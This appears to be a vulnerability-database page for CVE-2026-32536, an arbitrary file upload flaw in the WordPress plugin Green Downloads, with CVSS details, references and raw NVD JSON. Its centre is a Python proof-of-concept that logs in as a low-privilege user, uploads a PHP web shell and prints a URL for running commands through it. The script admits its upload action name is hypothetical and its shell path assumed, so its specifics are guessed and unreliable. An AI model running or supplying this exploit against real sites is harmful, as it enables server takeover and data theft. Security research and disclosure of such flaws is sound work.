CVE-2026-32536

Description

Unrestricted Upload of File with Dangerous Type vulnerability in halfdata Green Downloads halfdata-paypal-green-downloads allows Using Malicious Files.This issue affects Green Downloads: from n/a through <= 2.08.

CVSS Details

CVSS Score

9.9

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

halfdata Green Downloads <= 2.08

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target configuration
target_url = "http://example.com/wp-admin/admin-ajax.php"
login_url = "http://example.com/wp-login.php"

# Attacker credentials (Low privilege user)
username = "attacker"
password = "password"

# 1. Authenticate to the WordPress site
session = requests.Session()
payload = {
    'log': username,
    'pwd': password,
    'redirect_to': target_url,
    'wp-submit': 'Log In'
}
session.post(login_url, data=payload)

# 2. Prepare the malicious file upload
# Exploiting the 'halfdata-paypal-green-downloads' upload vulnerability
files = {
    'file': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php')
}
data = {
    'action': 'halfdata_upload_action' # Hypothetical action name based on plugin structure
}

# 3. Send the upload request
response = session.post(target_url, files=files, data=data)

# 4. Check if upload was successful
if response.status_code == 200 and "success" in response.text:
    print("[+] File uploaded successfully!")
    # Assuming the upload directory is predictable
    shell_url = "http://example.com/wp-content/uploads/shell.php"
    print(f"[+] Access your shell at: {shell_url}?cmd=whoami")
else:
    print("[-] Upload failed.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-32536
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-32536
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-32536/
[4] VulDB https://vuldb.com/cve/CVE-2026-32536
[5] https://patchstack.com/database/Wordpress/Plugin/halfdata-paypal-green-downloads/vulnerability/wordpress-green-downloads-plugin-2-08-arbitrary-file-upload-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-32536", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:17:07.293", "lastModified": "2026-04-24T16:35:20.070", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Unrestricted Upload of File with Dangerous Type vulnerability in halfdata Green Downloads halfdata-paypal-green-downloads allows Using Malicious Files.This issue affects Green Downloads: from n/a through <= 2.08."}, {"lang": "es", "value": "Vulnerabilidad de carga sin restricciones de archivo con tipo peligroso en halfdata Green Downloads halfdata-paypal-green-downloads permite el uso de archivos maliciosos. Este problema afecta a Green Downloads: desde n/a hasta <= 2.08."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/halfdata-paypal-green-downloads/vulnerability/wordpress-green-downloads-plugin-2-08-arbitrary-file-upload-vulnerability?_s_id=cve", "source": "[email protected]"}]}}